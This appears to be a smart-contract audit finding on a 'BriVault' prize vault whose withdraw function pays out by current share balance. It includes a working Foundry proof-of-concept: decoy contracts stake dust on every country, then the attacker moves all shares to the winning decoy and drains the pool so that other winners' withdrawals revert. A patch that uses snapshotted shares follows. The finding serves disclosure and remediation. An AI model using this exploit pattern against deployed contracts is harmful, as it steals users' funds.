function withdraw() external winnerSet {
@>
@> uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
@> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
An attacker deploys tiny-stake decoys to cover every possible country, transfers their main (large) share balance to whichever decoy wins after the winner is announced, and uses that decoy to drain the prize pool before other legitimate winners can withdraw.
contract Decoy {
BriVault public briVault;
MockERC20 public mockToken;
constructor(address _briVault, address _token) {
briVault = BriVault(_briVault);
mockToken = MockERC20(_token);
}
function deposit_and_join(uint256 _amount, uint256 _event) external {
mockToken.approve(address(briVault), 0.00024 ether);
briVault.deposit(_amount, address(this));
briVault.joinEvent(_event);
}
}
function test_guaranteeWin() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
address [] memory list_decoy = new address[](48);
for(uint i=0; i<48; i++){
Decoy decoy = new Decoy(address(briVault), address(mockToken));
mockToken.transfer(address(decoy), 0.00024 ether);
decoy.deposit_and_join(0.00024 ether, i);
list_decoy[i] = address(decoy);
}
mockToken.approve(address(briVault), 20 ether - 0.00024 ether * 48);
briVault.deposit(20 ether - 0.00024 ether * 48, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user2);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user3);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(1);
vm.stopPrank();
vm.startPrank(user1);
address decoy_win = list_decoy[1];
@> briVault.transfer(decoy_win, briVault.balanceOf(user1));
vm.stopPrank();
@> vm.startPrank(decoy_win);
briVault.withdraw();
mockToken.transfer(user1, mockToken.balanceOf(decoy_win));
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
bal = mockToken.balanceOf(user2);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.startPrank(user3);
@> vm.expectRevert();
briVault.withdraw();
bal = mockToken.balanceOf(address(briVault));
console.log("brivault balance (ETH)", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
}
The withdraw function must only use the snapshot of shares recorded in userSharesToCountry during joinEvent, not the current balanceOf. This prevents transferred shares from inflating the payout.
function withdraw() external winnerSet {
- // issue -> Reads the current, manipulatable balance
- uint256 shares = balanceOf(msg.sender);
+ // Use the snapshot of shares recorded when the user joined.
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
+ if (shares == 0) revert noDeposit(); // Prevent double withdrawal
+ userSharesToCountry[msg.sender][winnerCountryId] = 0;
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}